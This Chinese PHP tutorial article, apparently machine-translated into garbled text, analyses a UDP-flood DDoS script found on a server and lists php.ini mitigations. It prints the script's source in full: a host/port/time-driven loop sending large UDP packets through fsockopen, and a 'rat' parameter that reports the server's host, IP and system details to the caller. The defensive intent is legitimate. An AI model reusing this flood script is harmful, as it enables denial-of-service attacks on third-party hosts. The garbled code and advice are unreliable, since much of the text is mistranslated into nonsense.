本文给出了PHP的DDoS攻击解决方案的实例,供大家参考,具体分析如下:

今天,一台机器突然向外界发送大量数据。它可以达到每秒1克以上。虽然我使用UDP来禁止这个包,但我不能摆脱它,但它占用了一个杯子。所以我终于想到了解决办法。

先看看源代码,代码如下:

复制代码代码如下:< PHP

(999999)set_time_limit;

主机= _get美元美元'host'} {;

港口_get美元美元'port'} {;

exec_time美元=美元_get {时间};

sendlen = 65535美元;

$包=0;

ignore_user_abort(真的);



如果(StrLen($主机)= = 0或StrLen($港)= = 0或StrLen($ exec_time)= = 0){

如果(StrLen($ _get { 'rat ' })> 0){

echo $ _get { 'rat},{_server美元http_host 。|。gethostbyname($ _server { 'server_name})。| (。php_uname)| 。_server美元{ 'server_software'} { } 'rat _get美元;

出口;

}

参数不能为空!;

出口;

}



为($我= 0;美元美元美元我<< sendlen;i++){

$ = ;

}



max_time美元(美元)=时间+ exec_time;



当(1){

数据包+ +;

如果(时间()> max_time美元){

打破;

}

$ FP = fsockopen(UDP: / / 美元的主机

如果($ FP){

fwrite(FP美元,美元);

Fclose($ FP);

}

}



发送主机:主机:端口;

回声送流量:$包*($ sendlen / 1024 =。圆(合sendlen / 1024, 2)。1024。圆(合包* $ sendlen / 1024 / 1024, 2)。MB;

回声发送速率:。圆(合包/ exec_time美元,2)。包;。圆(合包/ $ exec_time * $ sendlen / 1024 / 1024, 2)。MB;

>

关键代码如下所示:

复制代码如下:$ FP = fsockopen(UDP: / / 美元的IP

该方法简单地将UDP包发送给目标主机,在定义无限长的死周期时会产生更大的压力。

这种压力是执行服务器的脚本,因为它第一次在自己的网络范围,CPU造成资源大量占用,如果你想使用这个脚本到目标地点的地层压力,需要在多个服务器的DDoS攻击以及执行脚本,因为它是fsockopen的外部要求,那就不让他请求。

在php.ini,代码如下:

复制代码如下:allow_url_fopen =关闭

如果这是他可以打包的方式,代码如下所示:

php_sockets.dll延伸=

改变

php_sockets.dll延伸=

重新启动Apache,IIS,nginx,使PHP可以防止DDoS包。

其他网民说,很容易让脚本不允许它被设置为不过时。

1。禁用set_time_limit功能

2。使PHP安全模式(safe_mode =对)。

禁用套接字函数可以把插座模块直接禁用所有也可以禁用fsockopen函数,表明由于插座通常用于发送邮件找回密码的,所以直接打开打开安全模式,但在这种情况下,脚本超时每30秒一次,任何黑客估计每一个寂寞的30秒的时间点在DDoS攻击的开始。

经验:这个问题通常是由网站安全造成的。我们应该注意网站的安全性和服务器的安全性,这样不容易被入侵。如果我们用macofee的朋友,我们会限制网站。

希望本文能对大家的PHP程序设计有所帮助。